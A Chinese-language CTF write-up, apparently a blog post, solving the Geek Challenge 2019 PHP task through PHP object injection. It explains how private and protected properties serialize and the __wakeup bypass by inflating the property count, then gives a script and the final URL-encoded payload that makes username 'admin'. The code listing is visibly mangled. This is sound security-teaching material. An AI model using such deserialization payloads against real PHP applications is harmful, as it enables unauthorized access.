極客大挑戰 2019 PHP

2021-10-21 04:11:11 字數 1722 閱讀 9120

這不反手就試試www.zipclass.php

class

name

function

__wakeup()

function

__destruct()

if($this

->

username

==='admin'

)else

}}

這裡要注意的是兩個變數都是private型:

private 宣告的字段為私有字段,只在所宣告的類中可見,在該類的子類和該類的物件例項中均不可見。因此私有欄位的欄位名在序列化時,類名和欄位名前面都會加上0的字首。字串長度也包括所加字首的長度

如果是protect型:

宣告的字段為保護字段,在所宣告的類和該類的子類中可見,但在該類的物件例項中不可見。因此保護欄位的欄位名在序列化時,欄位名前面會加上\0*\0的字首

也就是說:

private會在類名和欄位名前都加上\x00長度。這會增加兩個字元長度

形似:\x00類名\x00欄位名

protect會在字段前加上\x00*\x00。這會增加兩個字元長度

形似:\x00*\x00欄位名

所以一般碰上除public型別的,都會在反序列化時輸出經過url編碼的形式

這題再有乙個就是__wakeup(),會在反序化前自動呼叫

和它相反的__sleep()會在序列化前自動呼叫

適用版本:

php5 < 5.6.25

​php7 < 7.0.10

利用方式:序列化字串中表示物件屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行

回到題目,指令碼如下

<?php

class name}$a

=new name(

'admin',100)

;echo urlencode(serialize(

$a))

;?>

輸出得到o%3a4%3a%22name%22%3a2%3a%7bs%3a14%3a%22%00name%00username%22%3bs%3a5%3a%22admin%22%3bs%3a14%3a%22%00name%00password%22%3bi%3a100%3b%7d

將其中的物件屬性個數調大,只要大於2即可

最後得到:

o%3a4%3a%22name%22%3a3(改前面這數字)%3a%7bs%3a14%3a%22%00name%00username%22%3bs%3a5%3a%22admin%22%3bs%3a14%3a%22%00name%00password%22%3bi%3a100%3b%7d

極客大挑戰 2019 PHP

開啟以後,是三個php原始碼,其中最重要的是class.php,如下 include flag.php error reporting 0 class name function wakeup function destruct if this username admin else 看了一下,這個...

極客大挑戰 2019 PHP

剛進入 我們可以看到這樣的乙個介面 根據內容提示,有備份 的習慣 日常後台掃瞄,發現有www.zip檔案,我們進行解壓得到 看到flag.php開啟檢視,發現沒有什麼有用的資訊。我們開啟index.php看看 我們可以看到通過get方式傳入引數select,並對引數select進行反序列化。接下來,...

極客大挑戰 2019 PHP

開啟後,按照提示找備份檔案 用御劍沒掃到東西,換個工具dirsearch 找到備份檔案 解壓檔案,檢視flag,假的。審計一下這幾個的 吧 flag.php裡的 flag 給了個值syc,好像沒啥用。外鏈轉存失敗,源站可能有防盜煉機制,建議將儲存下來直接上傳 img jirqepnc 1612329...